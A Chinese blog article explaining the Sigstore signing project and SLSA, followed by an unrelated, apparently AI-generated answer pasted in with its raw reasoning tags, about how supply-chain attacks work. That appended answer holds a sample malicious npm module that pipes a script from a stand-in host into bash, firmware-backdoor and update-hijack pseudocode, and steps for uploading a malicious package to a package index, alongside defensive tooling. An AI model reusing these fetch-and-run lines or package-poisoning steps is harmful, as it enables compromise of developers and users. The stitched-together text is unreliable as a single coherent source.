软件供应链安全之Sigstore

Sigstore是一个由多家知名公司支持的Linux基金会项目,旨在通过自动密钥管理和透明日志技术简化加密软件签名过程,增强开源软件供应链的安全性。该项目包含Cosign、Fulcio和Rekor等组件,能够实现软件从开发到发布的全过程加签和验签。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

近几年关于供应链安全领域的攻击数不胜数,其中著名的有 Microsoft Exchange Server、Colonial pipeline 和 SolarWinds breach。在 SolarWinds 攻击之前,识别依赖关系中的威胁约束在开发人员身上,每个人都控制着自己的模块,并根据现有的供应链做出验证。SolarWinds 攻击让安全人员了解到供应链安全不仅需要扫描项目的依赖项,还需要扫描之前所有内容(依赖的依赖)以确保所有内容的真实性和安全性。

一、什么是Sigstore

供应链安全的一个关键部分就是软件的完整性和真实性,即部署到生产中的软件未被篡改且来自有效来源。这种首先是在构建软件后对软件进行签名,然后在部署前对生成的签名进行验证来实现的。Sigstore 是一个由谷歌、红帽、Chainguard、普渡大学、VMware、Twitter、Citi、Charm、Anchore 和 Iron Bank共同支持的 Linux 基金会项目,所有开发人员和软件提供商都可以免费使用。Sigstore 的代码和操作工具是 100% 开源的,目的是为了简化加密软件签名的使用以此来改善开源软件供应链。在软件的开发到发布的整个过程中,对其做到加签和验签不是一件简单的事,尤其是对于非安全人员和现有工具(如 PGP)的用户体验来说,还有很多不足之处(如密钥管理),而 Sigstore 很好地解决了这一难点。

使用 Sigstore 对工件进行签名的开源和闭源软件图

二、Sigstore特点

1、自动密钥管理:使用 Cosign 来生成签名和验证工件所需的密钥对,尽可能自动化,使用者无须维护管理密钥。

2、透明日志技术:基于 RFC 3161协议的防篡改日志来实现透明日志,通过透明日志可以找到并验证签名,还可以检查是否有人更改了源代码、构建平台或工件存储库。

Sigstore 不仅是一个工具或软件,还是简化软件签名和透明度的项目集合,其主要组件包括:

(1)Cosign(容器签名、验证和存储),其职责是签署容器并将信息发布到 OCI 注册中心。

(2)Fulcio(根证书颁发机构),其工作是颁发代码签名证书并将 OIDC 身份嵌入到代码签名证书中。

(3)Rekor(透明日志),其是附加的、不可变的分类账,作为由谁签署的内容的透明真实来源,类似区块链技术。

(4)OpenID Connect(认证方式),作为一个身份层,用于检查真实性,同时允许客户端请求和接收有关经过身份验证的会话和用户的信息。

三、Sigstore工作原理流程

1、cosign 在内存中生成一个临时公钥/私钥对。

2、用户通过 Google 或 GitHub 等 OpenID Connect (OIDC) 提供商进行身份验证,验证电子邮件地址的所有权和先前生成的密钥的所有权。

3、如果身份验证成功,用户将收到代码签名证书。

4、代码签名证书发布到透明日志,以便其他人验证。

5、用户使用代码签名证书及其密钥对工件进行签名。

6、来自工件的签名被发布到透明日志。

7、用于创建签名的短期代码签名凭证被销毁。

8、可以发布已签名的工件(例如,在容器注册表上)。

四、总结

Sigstore 是实现 SLSA 2级标准的关键项目,也是实现 SLSA 3级标准的开端。2021年初,Kubernetes 团队开始探索 SLSA 合规性,以提高 Kubernetes 软件供应链的安全性,并且发布 Kubernetes 1.24 以及所有未来的版本都将包括加密签名的 Sigstore 证书。

注:SLSA 是一个安全框架,一个标准和控制清单,用于防止篡改、提高完整性以及保护项目、业务或企业中的包和基础设施。分为以下四级:

现阶段 Sigstore 实现了自动化对组件进行数字签名和验证的能力,解决了相关信任难点如透明日志、私钥管理等。随着云原生技术的发展以及行业对供应链安全的重视,Sigstore 将会成为新的行业标准。

<think>好的,用户之前询问了关于在电脑启动时植入shellcode的可能性,现在他们又转向供应链攻击,想知道这是怎么实现的。我需要先理解供应链攻击的基本概念,然后结合他们之前的兴趣点来构建回答。 首先,用户可能对系统底层安全感兴趣,比如启动过程的安全机制,现在想了解更广泛的攻击方式。供应链攻击属于更高级、更隐蔽的攻击手段,可能涉及多个环节,我需要用他们能理解的例子来解释。 供应链攻击的实现方式包括污染软件依赖、篡改硬件设备、入侵开发环境等。需要具体说明每个步骤,比如攻击者如何渗透到开发环节,如何注入恶意代码,以及这些代码如何传播到最终用户。可能还需要提到一些著名案例,比如SolarWinds事件,让用户有更直观的认识。 用户可能还想知道这种攻击的危害性和防御方法,所以在回答中需要涵盖这些方面。考虑到他们之前的问题涉及启动过程,可以关联供应链攻击如何绕过Secure Boot等安全机制,比如通过签名的恶意软件更新。 另外,要确保回答结构清晰,分点说明,使用技术术语但不过于复杂。可能需要使用代码示例或图表来辅助解释,比如如何劫持npm包或篡改固件更新。同时,提醒用户注意供应链安全的重要性,尤其是开发者和企业如何防范此类攻击。 最后,用户可能有学习或研究的目的,所以可以推荐一些进一步学习的资源或实践方法,比如安全审计工具或参加CTF比赛中的相关挑战。需要保持语气专业但易于理解,避免过于技术化,确保信息准确可靠。</think>### 供应链攻击深度解析 --- #### 一、攻击本质 **通过渗透产品/服务生产流程中的任意环节**,将恶意代码注入合法渠道,形成**"官方带毒"传播链**。攻击目标包括: - 软件开发工具链(编译器、依赖库) - 硬件制造流程(芯片烧录、固件更新) - 物流运输环节(植入硬件后门) - 软件分发渠道(应用商店、镜像源) --- #### 二、典型攻击路径(技术实现) ##### 1. 软件供应链污染 ```mermaid graph LR A[攻击者入侵代码仓库] --> B{污染依赖项} B -->|npm包劫持| C[自动更新传播] B -->|PyPI投毒| D[开发者本地环境感染] C & D --> E[用户安装"合法"软件] ``` **具体实现**: - **依赖库劫持**(如`event-stream`事件): ```javascript // 恶意npm包伪代码 module.exports = function(){ require('child_process').exec('curl http://malicious.com/exploit.sh | bash') } ``` - **开发工具链污染**(如XcodeGhost): ```bash # 篡改Xcode编译流程 /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang -malicious_flag ``` ##### 2. 硬件供应链攻击 ```python # 模拟UEFI固件更新植入后门(需物理接触产线) def flash_firmware(image): original = read_rom() backdoor = generate_malicious_module() infected_image = original.replace(b"ACPI_TABLE", backdoor + b"ACPI_TABLE") write_to_spi_flash(infected_image) ``` ##### 3. 更新劫持(如SolarWinds攻击) ```powershell # 恶意更新包执行流程 $updateFile = Download-Update -Url "https://official-update.com/v3.2.1" $signature = Verify-Signature -File $updateFile # 合法数字签名 iex ($updateFile | Extract-MaliciousDLL) ``` --- #### 三、技术突破点 | 攻击阶段 | 利用技术 | 典型案例 | |------------------|-----------------------------------|--------------------------| | 开发环境 | CI/CD配置泄露 | Codecov Bash Uploader | | 编译过程 | 编译器后门(可执行文件污染) | Ken Thompson经典论文实例 | | 软件分发 | 镜像源劫持(APT/Yum源投毒) | 某Linux发行版镜像被篡改 | | 硬件生产 | 固件签名密钥泄露 | 某品牌服务器植入BMC后门 | --- #### 四、防御技术对抗 ##### 1. 软件成分分析(SCA) ```bash # 使用Syft扫描容器镜像成分 syft alpine:latest -o json | jq '.artifacts[] | select(.name == "malicious-pkg")' ``` ##### 2. 硬件可信验证 ```text Intel SGX远程认证流程: 1. 生成硬件Quote → 2. 发送至IAS服务 → 3. 验证TEE环境完整性 ``` ##### 3. 分布式验证策略 ```go // TUF框架元数据签名验证示例 func VerifyUpdate(meta Metadata) bool { rootKeys := LoadTrustedRootKeys() return meta.Signatures.Verify(rootKeys) && HashMatch(meta.Targets["app.exe"], repo.Targets["app.exe"]) } ``` --- #### 五、攻击检测难点 1. **信任链污染**:恶意代码携带合法数字签名 ```powershell # 验证微软签名但实际为恶意驱动 Get-AuthenticodeSignature "C:\drivers\evil.sys" | Where Status -eq "Valid" ``` 2. **潜伏周期长**:SolarWinds攻击潜伏期达**14个月** 3. **跨环节渗透**:某次攻击同时污染了: - Jenkins构建服务器 - SonarQube代码分析平台 - 内部PyPI私有仓库 --- #### 六、企业级防护方案 **分层防御架构**: ```text 1. 硬件层:TPM 2.0 + Secure Boot 2. 构建层:隔离的Air-Gapped编译环境 3. 交付层:基于Sigstore的透明日志签名 4. 运行时:eBPF实时监控异常行为 ``` **关键工具链**: - **Grafeas**:元数据审计系统 - **in-toto**:供应链链路验证框架 - **SPDX**:软件物料清单标准 --- #### 七、研究实验建议 1. **模拟攻击实验**: ```bash # 创建恶意Python包实验 poetry new demo-pkg echo "import os; os.system('calc.exe')" > demo-pkg/__init__.py twine upload --repository-url https://test.pypi.org/legacy/ dist/* ``` 2. **防御实践**: ```dockerfile # 安全基础镜像构建 FROM scratch COPY --from=gcr.io/distroless/base / / ADD --chown=nonroot:nonroot app /app USER nonroot ``` --- ### 总结 供应链攻击本质是**信任传递体系的瓦解**,其技术实现高度依赖对生产流程的深度渗透。现代防御需要建立**零信任供应链体系**,通过**自动化审计+多方验证+最小化依赖**来构建深度防御。对于开发者而言,永远不要盲目信任`pip install`或`npm install`的输出结果。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值